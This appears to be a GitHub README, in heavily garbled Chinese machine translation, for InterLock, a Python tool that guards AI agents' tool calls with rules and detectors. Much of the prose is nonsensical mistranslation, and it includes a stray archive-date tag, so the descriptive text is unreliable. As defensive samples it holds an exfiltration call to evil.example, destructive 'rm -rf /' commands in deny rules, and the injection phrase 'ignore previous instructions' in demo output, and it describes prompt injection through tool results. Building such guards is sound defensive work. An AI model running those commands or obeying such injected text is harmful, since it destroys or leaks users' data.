InterLock 用规则约束智能体工具调用
InterLock 是面向智能体动作的防护层,通过在工具函数上添加 @guard() 装饰器,用普通 Python 规则拦截、改写或检查调用结果。它只监听本地 127.0.0.1,默认无规则时全部放行,需在启动时调用 require() 确保防护生效。
# 间断 [](https://github.com/SourceShift/InterLock/actions/workflows/ci.yml) [](https://github.com/SourceShift/InterLock/actions/workflows/codeql.yml)   [](LICENSE) **在您的 AI 代理商完成前, 停止一个错误的工具呼叫 。** 检查你的经纪人的每个工具 在经纪人自己的内部 进程,并允许,块,或重写,以免发生任何事件。 没有账户,没有网络通话,也没有依赖关系。  ```python import interlock from interlock import Blocked, guard from interlock.detectors import network_egress_guard, pii_redaction_guard @guard() def http_post(url: str, body: str) -> str: return f"posted to {url}: {body}" interlock.install(rules=[ network_egress_guard(allowed_hosts=["api.acme.com"]), # only talk to hosts you trust pii_redaction_guard(), # mask secrets and personal data ]) http_post("https://api.acme.com/notes", "Card on file: 4111 1111 1111 1111") # -> "posted to https://api.acme.com/notes: Card on file: [REDACTED CREDIT_CARD]" http_post("https://evil.example/collect", "the whole customer table") # -> raises Blocked: blocked action 'http_post': egress to 'evil.example' is not on the destination allowlist ``` 第一次通话是用卡号蒙上面具的,第二次从未跑过. ### 看它跑起来 [`examples/quickstart_demo.py`](<https://github.com/SourceShift/InterLock/blob/main/examples/quickstart_demo.py>) 显示每个判决 允许、重写、屏蔽和检查工具返回的内容: ```console $ python examples/quickstart_demo.py allow -> posted to https://api.acme.com/notes: routine sync rewrite -> posted to https://api.acme.com/notes: Card on file: [REDACTED CREDIT_CARD] block -> Blocked: blocked action 'http_post': egress to 'evil.example' is not on the destination allowlist check -> Blocked: blocked action 'fetch_page': tool_result_injection: ignore previous instructions ``` 第三个电话从不离开程序。第四个是试图 通过自己的文字将指示偷运进去——它从未送达代理人。 ## 为什么连锁 特工犯错误,有人被骗,迟早会有人逃跑 `rm -rf`,将数据发送到一个你从未听说过的主机,或者遵循指令 在网页上找到的。大多数守护者都看什么模型 *说*. 互连 看着什么 *已经*在最后一刻,你仍然可以说不。 - **四决非二决.** 一个电话可以被允许, 被封锁, **重写** (隐藏一个秘密, 上限一个金额, 强迫干燥运行),或 **为人类而关押** 谁 同意这个确切的电话,所以安全 并不总是花费你的任务。 - **检查结果也。** 输入指令到达工具输出:一个网络 页面、电子邮件、文档。交互检查工具返回之前 探员读了 - **了解数据来源.** 边界源代码标签工具输出 (`tool:fetch_url`)和一个声明来源 / 沉淀规则可以拒绝"牵强" 数据不能到达电子邮件字段”,即使目的地不是 允许。 - **到处都有一个政策** 同样的规则护卫装饰功能, MCP 会话、 LangChain 工具、 工具循环、 节点. js 代理和编码 代理人 : **Claude 代码、代码和光标**通过他们的钩子。 - **126 现成探测器** 迅速注射,SQL和炮弹注射, secret and PII 编辑, SSRF, egress, MCP 服务器信任, 预算, 和循环. 贝壳规则裁判 **命令会做什么**,而不是其拼写: `rm -fr ~`, `bash -c 'rm -rf /'` 财务报告和财务报告 `sudo /bin/rm -Rf /` 是同一行为。 - **为实际部署而建造:** 有安全授权的按租户计保政策 子代理,声明性政策文件,有锁定规则和信任 工程覆盖,一个可以报告的不言自明的审计日志,一个OS沙盒 用于子进程您的代理发射,以及 `interlock doctor` 证明 保护是实际的。 - **没什么好报名的** 纯 Python, 无运行时依赖性, 工作 离线 ```mermaid flowchart LR agent(["your agent"]) -->|"tool call"| check{"interlock<br/>your rules"} check -->|"allow"| run["tool runs"] check -->|"rewrite"| safer["tool runs with<br/>safer arguments"] check -->|"block"| stop["Blocked<br/>nothing runs"] run --> rcheck{"result<br/>checked"} safer --> rcheck rcheck -->|"clean"| agent rcheck -->|"injected"| stop agent -.->|"launches a process"| brace["BRACE sandbox"] ``` ## 安装 ```bash pip install "git+https://github.com/SourceShift/InterLock.git" # with LangChain support pip install "interlock-guard[langchain] @ git+https://github.com/SourceShift/InterLock.git" ``` Python 3.9或更新. Interlock尚未在 PyPI 上,所以从 GitHub 上安装,以及 承诺生产。 ## 快速启动 **1. 保护好你的工具** 放置 `@guard()` 您的代理所调用的职能 : ```python from interlock import guard @guard() def run_shell(cmd: str) -> str: ... @guard() def query_db(sql: str, limit: int = 1000) -> str: ... ``` **2. 安装规则。** 一条规则需要呼叫并屏蔽它, 重写它, 或者返回 `None` 对于"没有意见": ```python import interlock from interlock import Decision, deny_when def cap_rows(event): if event.action == "query_db" and event.args.get("limit", 0) > 100: return Decision.modify({"limit": 100}, reason="row limit capped") return None interlock.install(rules=[ deny_when(lambda e: "rm -rf" in str(e.args.get("cmd", "")), reason="destructive command"), cap_rows, ]) run_shell("rm -rf /") # raises Blocked; the command never runs query_db("SELECT * FROM orders") # runs with limit=100 ``` **3. 安全地尝试新的规则。** 交换 `@guard()` (单位:千美元) `@monitor()` 和决定是 记录了但从未执行,所以你可以看到什么是规则 *将* 做真正的交通流量 先说. 那个... [正在开始教程](<https://github.com/SourceShift/InterLock/blob/main/docs/getting-started.md>) 走过这一切 带有真实输出,加探测器,结果检查,以及工具名的陷阱 捕捉到大多数人。 ## 操纵台 本地网络应用程序, 管理代理的人: 警卫的决定, 要求等待一个人类, 这一切背后的政策, 以及保护是否是 其实是开的,它绑着 `127.0.0.1` 仅装入其它任何设备 源代码。它的活动页面是此文件顶端的截图。 **你会需要的** Python 3.9 +,和 Node.js 20.19 + 或 22.12 + 构建网络应用 有一次,我见过他 One. **1. 获取代码并构建网络应用.** 应用程序不在邮包里 所以 取出时的工作 : ```bash git clone https://github.com/SourceShift/InterLock.git cd InterLock pip install -e . npm --prefix web ci npm --prefix web run build # writes web/dist/, fonts included ``` **2. 有东西看。** 控制台会读你的防守文件 写入 。 如果您的代理代理是编码代理, 请安装钩子并使用它 。 时 : ```bash interlock install-hook --for claude-code # or codex, cursor, all ``` 这创造了 `~/.interlock/` 与保险单,收据记录及其密钥,以及 。在没有代理的情况下尝试控制台,生成真实流量 相反,真正的钩子有效载荷通过 `interlock hook` 变成刮伤 目录 : ```bash python3 scripts/console_traffic.py /tmp/il-demo ``` **3. 开始** ```bash python -m interlock.console \ --receipts ~/.interlock/receipts.jsonl --key-file ~/.interlock/receipts.key # for the demo data: # --receipts /tmp/il-demo/receipts.jsonl --key-file /tmp/il-demo/receipts.key \ # --policy /tmp/il-demo/policy.json --reviews-db /tmp/il-demo/reviews.db ``` 它印着它正在听的地方, 和一个解锁链接: ``` interlock console listening on http://127.0.0.1:7878 unlock writes: http://127.0.0.1:7878/#/unlock/k7Qm-2fXa-9RtL ``` 打开第一个 URL。 控制台启动 **read-only**; 核准审查或 保存策略需要用第二个链接解锁的标签。仅此链接 所以同一个机器上的特工无法解锁 自己写。重新启动控制台重新锁定每个标签。 旗帜,八屏,与Vite Dev服务器开发,以及 安保模式在 [控制台向导](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/console.md>)已安装 除了退房以外别的地方? `--static /path/to/web/dist`. ## 盒子里装着什么 | 特性 | 它会做什么? | 指南 | |---|---|---| | 规则 | 屏蔽、重写或检查结果的 Python 函数 | [写入规则](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/writing-rules.md>) | | 宣布性政策 | 与JSON / YAML 相同的规则:在加载时检查过打字,锁定规则,热重加载,信任重加项目覆盖 | [政策](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/policies.md>) | | 核准 | `ESCALATE`: 发出呼唤; 批准是一次性的, 并且与确切的呼唤有联系 | [核准](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/approvals.md>) | | 编码代理商 | 守护 Claude 代码、 Codex 和 cursor 工具调用一个命令 | [编码代理商](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/coding-agents.md>) | | 全权证书 | 探员写道: `{{secret:id}}`; 数值在决定后填入, 只有在允许的情况下 | [全权证书](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/credentials.md>) | | 数据库和API | 根据影响和表格判断的SQL (`WITH … DELETE` 是删除的),对结果,运行本,HTTP路径和方法规则进行校验和验证的数据掩码 | [数据库](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/databases.md>) | | 审查队列 | 现在以审查身份拒绝;相同的重试在经过人类批准后进行一次;法定人数和期满 | [审查](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/reviews.md>) | | 探测器 | 126 现成规则,按攻击分组 | [使用探测器](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/detectors.md>) · [目录](<https://github.com/SourceShift/InterLock/blob/main/docs/reference/detectors.md>) | | MCP 信托 | 允许列表服务器, pin 工具计划, 抓取更改的工具列表, 限时赠款 | [MCP](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/mcp.md>) | | 范围 | 租户和代理商政策;代理商不能超过其父母; `interlock scope suggest` 从允许的收据显示中获取每个范围的信封 | [范围](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/scopes.md>) | | 审计记录 | 附有链条的、经签名的每项裁决的收据; 论据散开,而不是存储; 说明: `interlock report` (b) 总结这些要点; `interlock anchor` 记录头部,这样一截尾巴就会被抓住; `interlock capsule` 将日志、政策和锁定封装到一个捆绑中,并附上适当的报告 | [审计记录](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/audit-log.md>) | | 医生和衡量标准 | `attest()` / `require()` 进行中, `interlock doctor` 从 shell, Prometheus 度量衡和一个回转管理端点 | [生产清单](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/production.md>) | | BRACE 沙盒 | 运行由您策略构建的 bigwrap (Linux) 或 Seatbelt (macOS) 下的子进程 | [沙盒](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/sandbox.md>) | | Node.js 客户端 | Guards JS 通过本地守护进程具有相同的 Python 策略的代理 | [js/README.md](<https://github.com/SourceShift/InterLock/blob/main/js/README.md>) | | 控制台 | 本地网络应用程序:活动、审查队列、审计日志、政策编辑器、探测器游乐场和操作操作;写作需要仅限终端解锁 | [控制台](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/console.md>) | | 网点 | 订阅社区政策包(`"extends": "mesh:coding-agent@stable"`),从带有签名的嵌入根中校验;新规则先以阴影模式运行,环框封顶其判决。或者自己发布一个普通信息。 | [网点](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/mesh.md>) | ## 与 | 你有过 | 使用( U) | |---|---| | 您自己的 Python 函数 | `@guard()` | | MCP 客户端会话 | `guard_mcp_session(session)` | | LangChain 工具 | `guard_langchain_tools(tools)` | | OpenAI、Anthropic 或其他工具循环 | `enforce_tool_call` / `enforce_tool_result` | | 一个节点Js代理商 | 编号 `interlock-guard` npm 软件包 + `interlock-sidecar` | | Claude 代码、 代码或光标 | `interlock install-hook --for claude-code` (或 减) `codex`, `cursor`, `all`) | 每一个都包含在 [一体化](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/integrations.md>); 编码代理 输入 [他们自己的向导](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/coding-agents.md>). ## 这有什么不同? | 工具类型 | 实例 | 检查什么? | 连锁关系如何 | |---|---|---|---| | 内容护栏 | NeMo 护卫机 护卫机 AI 护卫机 LlamaFirewall | 提示和模型响应,常与ML分类器或额外的LLM调用 | 间锁检查 *动作* (工具调用及其结果)有简单的规则。同时使用两种方法:内容分类器,代理操作的相互连接 | | 代理追踪规则 | 变化无常的护栏 | 作为图书馆或网关的代理跟踪图案,使用自己的规则语言 | 互锁规则是普通的 Python , 在不依赖的情况下运行, 并且可以重写一个调用并屏蔽它 。 | | MCP网关 | 拉索 MCP 网关 | MCP 流量,来自客户端和服务器之间的代理 | 间断在您的进程内看到任何类型的呼叫, MCP 与否, 以及真实的参数 | | 沙盒( 沙盒) | 沙盒运行时间, E2B, Leash | 在 OS 或 VM 级别可以达到什么进程 | Sandboxs不知道工具呼叫的含义. Interlock检查呼叫,而它的BRACE 沙盒从同一政策中限制了它看不见的东西. | ## 知道极限 间锁是一个坚固的层,而不是一个完整的防御。 - **没有规则意味着一切是允许的。** 调用 `interlock.posture.require()` 如果没有保护,则启动时失败。 - **挡住结果并不能解除工具.** 检查结果 工具运行; 块保留了您的代理器的输出, 但副作用状态 。 - **探测器符合规律,而非意义.** 重写的攻击可以过去 许可名单没有这个弱点。 - **它相信你的经纪人的密码,而不是它的决定。** 同样的恶意代码 进程可以绕过它。在沙盒中运行不信任的代码。 - **许多探测器只查看某些工具名称.** 检查目录 "扫描到"栏目. 那个... [安保模式](<https://github.com/SourceShift/InterLock/blob/main/docs/security-model.md>) 拥有完整的清单,包括: 削弱保护的设置。 ## 文档 该手册在下列地点出版: [互锁. source transfer.ai/docs.](https://interlock.sourceshift.ai/docs/); 同样的页是下面链接的Markdown, 所以要么读取相同的。 开始 [正在开始](<https://github.com/SourceShift/InterLock/blob/main/docs/getting-started.md>),则 [概念](<https://github.com/SourceShift/InterLock/blob/main/docs/concepts.md>)。所有其它的索引在 [文档主页](<https://github.com/SourceShift/InterLock/blob/main/docs/index.md>): 每项任务的指南, [Python API (英语).](<https://github.com/SourceShift/InterLock/blob/main/docs/reference/python-api.md>),则 [探测器目录](<https://github.com/SourceShift/InterLock/blob/main/docs/reference/detectors.md>),则 [侧车参考](<https://github.com/SourceShift/InterLock/blob/main/docs/reference/sidecar.md>). ## 状态 **阿尔法 (v0.0.1).** 核心API是稳定的,并被关于4,900测试所覆盖. Not. 在 PyPI 或 npm 上。默认的编码代理包是用两个 承诺的良性蝎子: **0 假阳性关于70事件加一个20 - 活动 被搁置的拆分**,每个规则和每个检测员的数字, **0 来自560的毒电话 被诱导为屏蔽**,以及 **28 ms 最坏情况** 关于 pathological-but-legal 输入 - 全部在 CI 中登入。 **243 µs p50 / 392 µs p95** 超过一个 空引擎基线( E)[方法](<https://github.com/SourceShift/InterLock/blob/main/benchmarks/overhead/README.md>)). MCP 客户端会话附随 `interlock.attach()`; 其兼容合同是 `interlock attach --check`,以及 `interlock.attach_monitor()` 通知一个守卫 在下面更改客户端。一个标记剪切的发布工作流程发布到 PyPI 和 npm 有可信赖的出版和来源证明 ([释放](<https://github.com/SourceShift/InterLock/blob/main/docs/guides/releasing.md>));登记处信任的出版商是: 剩下的一个设置步骤。 [路线图](<https://github.com/SourceShift/InterLock/blob/main/ROADMAP.md>): 第一个 签署释放协议,并减轻安全模式中可接受的限制。 ## 捐款 欢迎错误报告、探测器和文件修复。见 [CONTRIBUTING . md (英语).](<https://github.com/SourceShift/InterLock/blob/main/CONTRIBUTING.md>) 安排、公约和如何增加 探测器。此工程遵循 [《促进者公约》](<https://github.com/SourceShift/InterLock/blob/main/CODE_OF_CONDUCT.md>)通过参与,你同意它。 找到办法了 *过去* 相锁而不是里面的虫子? [SECURITY . md (英语).](<https://github.com/SourceShift/InterLock/blob/main/SECURITY.md>). 发布历史在 [CHANGELOG . md (英语).](<https://github.com/SourceShift/InterLock/blob/main/CHANGELOG.md>). ## 许可证 密码和政策包是Apache-2.0。 [LICENSE](<https://github.com/SourceShift/InterLock/blob/main/LICENSE>). 网格公用股份(指示器、指纹和编辑) 标本)为CC0-1.0. [(原始内容存档于2019-09-22) (英语). LICENSE - DATA](<https://github.com/SourceShift/InterLock/blob/main/LICENSE-DATA>).
查看原始来源